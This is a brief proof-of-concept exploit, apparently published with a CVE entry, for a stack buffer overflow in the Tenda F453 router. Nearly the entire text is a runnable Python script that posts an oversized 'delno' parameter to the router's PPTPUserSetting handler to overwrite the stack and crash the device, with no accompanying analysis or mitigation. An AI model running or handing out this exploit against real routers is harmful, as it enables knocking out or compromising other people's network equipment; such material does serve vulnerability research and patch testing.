CVE-2026-5021 Tenda F453 栈缓冲区溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/goform/PPTPUserSetting" # Payload construction # The overflow is triggered by the 'delno' parameter. # Padding with 'A' to overwrite the stack buffer and return address. payload = { "delno": "A" * 500 # Adjust length based on specific buffer size analysis } try: # Send POST request response = requests.post(target_url, data=payload, timeout=5) print(f"Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Exploit sent, device likely crashed: {e}")